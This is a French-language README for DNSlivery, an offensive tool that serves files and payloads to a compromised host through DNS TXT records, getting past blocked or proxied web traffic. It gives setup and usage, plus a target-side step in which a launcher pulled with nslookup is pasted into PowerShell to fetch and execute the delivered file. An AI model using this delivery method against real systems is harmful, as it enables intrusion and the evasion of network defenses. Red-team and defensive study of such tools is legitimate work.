
Livraison facile de fichiers et de payloads via DNS
Livraison facile de fichiers et de charges utiles via DNS.
Ce projet a été initialement inspiré par PowerDNS et par le segment technique de Joff Thyer dans le podcast Paul's Security Weekly #590 (youtu.be/CP6cIwFJswQ).
DNSlivery permet de livrer des fichiers à une cible en utilisant DNS comme protocole de transport.
Fonctionnalités :

Livrer facilement des fichiers et/ou des charges utiles à une cible compromise lorsque la livraison web classique n'est pas possible et sans avoir besoin d'un logiciel client dédié. Cela s'applique aux environnements restreints où le trafic web sortant est interdit ou simplement inspecté par un proxy web curieux.

Bien que des outils de tunneling DNS plus complets existent déjà (tels que dnscat2 et iodine), ils nécessitent tous l'exécution d'un client dédié sur la cible. Le problème est qu'il n'existe probablement aucun autre moyen que DNS pour livrer le client dans de tels environnements restreints. En d'autres termes, établir un canal de communication DNS avec ces outils nécessite de disposer déjà d'un canal de communication DNS.
En comparaison, DNSlivery ne fournit qu'une communication unidirectionnelle de votre serveur vers la cible, mais ne nécessite aucun client dédié pour ce faire. Ainsi, si vous devez établir un canal de communication bidirectionnel fiable via DNS, utilisez DNSlivery pour livrer le client d'un outil de tunneling DNS plus avancé à votre cible.
Tout comme la plupart des outils de tunneling DNS, DNSlivery utilise des enregistrements TXT pour stocker le contenu des fichiers dans leur représentation base64. Cependant, il ne nécessite pas la mise en place d'un serveur DNS complet pour fonctionner. À la place, il utilise la bibliothèque scapy pour écouter les paquets DNS entrants et élaborer la réponse souhaitée.

Comme la plupart des fichiers ne tiennent pas dans un seul enregistrement TXT, DNSlivery créera plusieurs enregistrements ordonnés contenant des morceaux base64 du fichier. Par exemple, le schéma ci-dessus illustre la livraison du 42e morceau du fichier nommé file.
Afin de récupérer tous les morceaux base64 et de les réassembler sans avoir besoin d'un client dédié sur la cible, DNSlivery générera pour chaque fichier :

Ce processus de livraison en deux étapes est nécessaire pour ajouter des fonctionnalités au stager (telles que la gestion des réponses DNS perdues) qui ne tiendraient pas autrement dans un seul enregistrement TXT.
Actuellement, seules les cibles PowerShell sont prises en charge. Cependant, DNSlivery pourrait être amélioré pour prendre en charge des cibles supplémentaires telles que bash ou python. Veuillez me le faire savoir @no0be si c'est une fonctionnalité que vous souhaiteriez voir implémentée.
DNSlivery ne nécessite pas la mise en place d'une infrastructure serveur complexe. En fait, il n'y a que deux exigences simples :
NS dans votre zone DNS publiqueudp/53 depuis InternetLa première étape consiste à déléguer un sous-domaine au serveur qui exécutera DNSlivery en créant un nouvel enregistrement NS dans votre domaine. Par exemple, j'ai créé l'enregistrement suivant pour déléguer le sous-domaine dnsd.no0.be au serveur vps.no0.be.
dnsd IN NS vps.no0.be.
Si votre zone est gérée par un fournisseur tiers, reportez-vous à sa documentation pour créer l'enregistrement NS.
Les seules exigences pour exécuter DNSlivery sont python3 et sa bibliothèque scapy.
git clone https://github.com/no0be/DNSlivery.git && cd DNSlivery
pip install -r requirements.txt
DNSlivery servira tous les fichiers d'un répertoire donné (pwd par défaut) et doit être exécuté avec les privilèges root pour écouter les paquets udp/53 entrants.
usage: dnslivery.py [-h] [-p PATH] [-s SIZE] [-v] interface domain nameserver
DNSlivery - Livraison facile de fichiers et de charges utiles via DNS
arguments de position :
interface interface pour écouter le trafic DNS
domain nom FQDN de la zone DNS
nameserver nom FQDN du serveur exécutant DNSlivery
arguments optionnels :
-h, --help affiche ce message d'aide et quitte
-p PATH, --path PATH chemin du répertoire à servir via DNS (défaut : pwd)
-s SIZE, --size SIZE taille en octets des morceaux base64 (défaut : 255)
-v, --verbose augmente la verbosité
Exemple :
$ sudo python3 dnslivery.py eth0 dnsd.no0.be vps.no0.be -p /tmp/dns-delivery
DNSlivery - Livraison facile de fichiers et de charges utiles via DNS
[*] Fichier "file" prêt pour la livraison à file.dnsd.no0.be (7 morceaux)
[*] Écoute des requêtes DNS...
Comme le jeu de caractères autorisé pour les noms de domaine est beaucoup plus restrictif que celui des noms de fichiers UNIX (selon RFC1035), DNSlivery effectuera une normalisation si nécessaire.
Exemple :
[*] Fichier "My Awesome Powershell Script ;).ps1" prêt pour la livraison à my-awesome-powershell-script----ps1.dnsd.no0.be (1891 morceaux)
Sachez que le code de normalisation actuel n'est pas parfait car il ne prend pas en compte les noms de fichiers qui se chevauchent ni la limite de taille.
Sur la cible, commencez par récupérer le lanceur du fichier souhaité en demandant son enregistrement TXT dédié. Les trois lanceurs suivants sont pris en charge :
nslookup -type=txt [filename].[stager].[domain]
Ensuite, il suffit de copier et coller le lanceur cité dans la réponse DNS dans une console PowerShell pour récupérer le fichier sur la cible.
Exemple :

| Action | Lanceur | Description |
|---|
| Afficher | [filename].print.[domain] | (Par défaut) Affiche le fichier livré dans la console |
| Exécuter | [filename].exec.[domain] | Exécute le fichier livré (utile pour les scripts) |
| Enregistrer | [filename].save.[domain] | Enregistre le fichier livré sur le disque (utile pour les binaires) |